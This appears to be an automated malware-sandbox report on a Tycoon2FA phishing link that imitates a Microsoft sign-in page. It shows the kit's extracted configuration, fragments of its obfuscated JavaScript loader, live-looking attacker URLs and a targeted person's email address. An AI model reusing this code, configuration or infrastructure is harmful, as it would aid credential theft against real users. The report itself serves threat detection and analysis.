Edit tour

Windows Analysis Report
https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget billede (ingen mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2Vkb

Overview

General Information

Sample URL:	https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget billede (ingen mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&
Analysis ID:	1637750
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2356,i,10442908303171519739,11556857756762525044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2384 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "5s7ij",
  "emailcheck": "david.sedlick@oneatlas.com",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/bfbsqVayv8rSOXCxZY2lvfFTXjn0YpvMkjh7RCXH7SMhR5ZqqXiNDmAlel"
}

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.7..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.17.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.20..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 22 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.17.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "5s7ij", "emailcheck": "david.sedlick@oneatlas.com", "webname": "rtrim(/web8/, '/')", "urlo": "/bfbsqVayv8rSOXCxZY2lvfFTXjn0YpvMkjh7RCXH7SMhR5ZqqXiNDmAlel"}

Phishing

AI detected phishing page

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The URL '9qb.bitualicar.ru' does not match the legitimate domain for Microsoft., The domain 'bitualicar.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The subdomain '9qb' and the main domain 'bitualicar.ru' do not have any known association with Microsoft., The presence of a seemingly random subdomain and unrelated main domain is a common phishing tactic. DOM: 2.4.pages.csv
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL '9qb.bitualicar.ru' does not match the legitimate domain 'microsoft.com'., The domain 'bitualicar.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The subdomain '9qb' and the main domain 'bitualicar' do not have any known association with Microsoft., The presence of a personal email input field suggests a potential phishing attempt to collect user credentials. DOM: 2.5.pages.csv
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL '9qb.bitualicar.ru' does not match the legitimate domain for Microsoft., The domain 'bitualicar.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The presence of a subdomain '9qb' and the unrelated main domain suggest potential phishing., The email domain 'oneatlas.com' in the input fields does not match the Microsoft domain, which is suspicious. DOM: 2.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 2.20..script.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.17.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.10.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, blocking keyboard shortcuts and right-click functionality, and redirecting the user to an external website. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
Source: 2.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyo... This script exhibits several high-risk behaviors, including disabling common browser functionality, detecting and blocking automated testing tools, and redirecting the user to an external domain. Additionally, it includes obfuscated code and attempts to prevent clipboard operations, which are strong indicators of malicious intent.
Source: 1.10.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits several high-risk behaviors, including disabling common keyboard shortcuts and context menus, as well as attempting to detect and redirect the user to a different website if a debugger is detected. These behaviors are highly suspicious and indicate potential malicious intent, likely to bypass security measures or engage in unauthorized activities.
Source: 1.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://9qb.bitualicar.ru/2Q5WxE/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode URLs and the subsequent `document.write()` call to execute the decoded content pose a significant security risk. Additionally, the script appears to be interacting with suspicious domains, further increasing the likelihood of malicious intent. Overall, this script exhibits a high level of risk and should be treated with caution.
Source: 1.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behavior, including dynamic code execution via `eval()` and potential data exfiltration. The obfuscated code and use of proxy objects further increase the risk. This script should be considered highly suspicious and potentially malicious.
Source: 1.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://9qb.bitualicar.ru/2Q5WxE/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of code that checks for the existence of web driver or headless browser environments, suggests malicious intent. Additionally, the script sets up an interval that triggers a debugger statement and potentially redirects the user to an external domain, further increasing the risk. Overall, this script exhibits a high level of suspiciousness and should be treated as a potential security threat.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://9qb.bitualicar.ru/2Q5WxE/... This script exhibits several high-risk behaviors that indicate potential malicious intent:1. Dynamic Code Execution: The script uses `atob()` to decode a base64-encoded HTML string and then writes it to the document using `document.write()`. This allows for the execution of remote or dynamically generated code, which is a high-risk behavior.2. Data Exfiltration: The script attempts to extract data from the URL, including the hash fragment, query parameters, and other encoded values. This data could potentially contain sensitive information that is being sent to an external server.3. Obfuscated Code/URLs: The script uses various techniques to obfuscate the URL parameters, such as splitting the URL and using special characters. This is a common tactic used to hide malicious intent.4. External Data Transmission: The script makes an AJAX request to the URL `/lmMxGeTMuQ0X23qedn134Y8uzRmigwgDwEQ0bVnpIeRL9fw` and sends the extracted data to this external domain, which is a high-risk behavior.5. Suspicious Domains: The destination URL for the AJAX request is not a known, reputable domain, which raises concerns about the legitimacy of the script's purpose.Overall, this script demonstrates a high level of risk due to the combination of dynamic code execution, data exfiltration, obfuscation, and external data transmission to a suspicious domain. The script's behavior is highly inconsistent with its apparent purpose, further increasing the risk assessment.

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD

HTTP Parser: Number of links: 0

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://9qb.bitualicar.ru/2Q5WxE/#Rdavid.sedlick@oneatlas.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Office 365 Documentation</title> <style> body { font-family: Arial, sans-serif...

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD

HTTP Parser: Title: Proceed To Secure Sign-In does not match URL

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: Invalid link: Terms of use
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: Invalid link: Privacy & cookies
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: Invalid link: Terms of use
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: Invalid link: Privacy & cookies

Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "5s7ij";var emailcheck = "david.sedlick@oneatlas.com";var webname = "rtrim(/web8/, '/')";var urlo = "/bfbsqvayv8rsoxcxzy2lvfftxjn0ypvmkjh7rcxh7smhr5zqqxindmalel";var gdf = "/ijb59imeho6ynw1czz0ve6gyztg8zh0svpa4cd120";var odf = "/ij4pe1gahlxzif00o3jxaz0yzb3rety6eggab641";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragen...
Source: https://9qb.bitualicar.ru/2Q5WxE/	HTTP Parser: function kkvrhvzjix(){invbcgdsoo = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+t2zmawnlidm2nsbeb2n1bwvudgf0aw9upc90axrszt4kicagidxzdhlszt4kicagicagicbib2r5ihskicagicagicagicagzm9udc1myw1pbhk6iefyawfslcbzyw5zlxnlcmlmowogicagicagicagicbsaw5llwhlawdoddogms42owogicagicagicagicbtyxjnaw46idiwchg7ciagicagicagfqogicagicagiggxlcbomib7ciagicagicagicagignvbg9yoiajmky1ndk2owogicagicagih0kicagicagicb1bcb7ciagicagicagicagigxpc3qtc3r5bgutdhlwztogc3f1yxjlowogicagicagih0kicagicagicbhihskicagicagicagicagy29sb3i6icmwmdc4rdq7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagicb9ciagicagicagytpob3zlcib7ciagicagicagicagihrlehqtzgvjb3jhdglvbjogdw5kzxjsaw5lowogicagicagih0kicagidwvc3r5bgu+cjwvagvhzd4kpgjvzhk+ciagica8ade+r2v0dgluzybtdgfydgvkihdpdgggt2zmawnlidm2ntwvade+ciagica8cd5pzmzpy2ugmzy1iglzigegy2xvdwqtymfzzwqgc3vpdgugb2ygchjvzhvjdgl2axr5ihrvb2xzigrlc2lnbmvki...

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD

HTTP Parser: <input type="password" .../> found

Source: http://moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	HTTP Parser: No favicon
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No favicon
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No favicon

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No <meta name="author".. found
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No <meta name="author".. found

Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No <meta name="copyright".. found
Source: https://9qb.bitualicar.ru/ciydamundfqxhytufliczqyojdDXOXZ27XN5XK4ZBYPJN8KHX?FDHFMSYKPPOJGWIZYIPLDUNMYD	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.4:57691 -> 162.159.36.2:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.96.8
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 21:23:18 GMTServer: ApacheX-Powered-By: PHP/7.4.33Upgrade: h2,h2cConnection: Upgrade, Keep-AliveVary: Accept-EncodingContent-Encoding: gzipContent-Length: 338Keep-Alive: timeout=5Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 75 52 cb 4e c3 30 10 bc f3 15 96 10 4a 2b 51 3b 14 f5 40 e2 44 88 d7 bd 08 c1 b1 72 62 d7 b6 ea d8 91 bd 6e 5a 21 fe 9d 58 85 1e 50 d8 db ee 8c bc 33 b3 a6 0a 3a 53 53 25 18 af 29 68 30 a2 7e 17 5e 6f 8f da 4a 8c 31 25 a7 19 25 27 46 e3 f8 11 05 38 1a 51 65 20 0e b0 60 46 4b 5b a0 56 58 10 be 44 1d f3 52 db 05 b8 be 40 cb fc aa cc 6a aa 3b 89 82 6f ab 4c 01 f4 a1 20 24 f6 c6 31 8e 07 bd d3 9d e0 9a 61 e7 25 49 5d 9f 3a d2 ba ae 73 36 10 50 b1 6b 88 20 e2 96 3c b9 36 86 71 cf e6 25 1a b3 79 74 c6 79 1c f6 92 ac f2 bc 3f 2c fe 41 71 6f 65 86 98 81 2a 3b 3b ca 7e b5 0f 9a 83 4a 12 c7 07 4a a4 84 96 0a 0a c4 22 b8 24 b9 f1 63 22 37 7f 82 18 07 34 b4 5e f7 50 5f a0 89 0a 02 de 46 43 2e c2 6c 1b 6d 0b da d9 d9 1c 7d 4e 72 53 0d da 72 37 60 e3 5a 96 b8 58 79 b1 45 15 3a c7 74 b7 7e c0 8d 86 38 26 dc 32 8f 7d 24 cb f5 ea e3 f0 4c 2e 5f 39 db 6b 8e 83 e0 23 b4 bb 77 56 30 30 2c e0 31 b9 ac 9c dc f7 75 9d ac e6 f3 29 94 92 1f 57 94 a4 eb a6 53 a7 2f f1 0d b2 3c d5 f4 19 02 00 00 Data Ascii: uRN0J+Q;@DrbnZ!XP3:SS%)h0~^oJ1%%'F8Qe `FK[VXDR@j;oL $1a%I]:s6Pk <6q%yty?,Aqoe*;;~JJ"$c"74^P_FC.lm}NrSr7`ZXyE:t~8&2}$L._9k#wV00,1u)WS/<

Source: global traffic	HTTP traffic detected: GET /gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20= HTTP/1.1Host: moviepazes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/thumb/e/e3/Docusign_Full_Color.svg/500px-Docusign_Full_Color.svg.png HTTP/1.1Host: upload.wikimedia.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: http://moviepazes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/thumb/e/e3/Docusign_Full_Color.svg/500px-Docusign_Full_Color.svg.png HTTP/1.1Host: upload.wikimedia.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://9qb.bitualicar.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
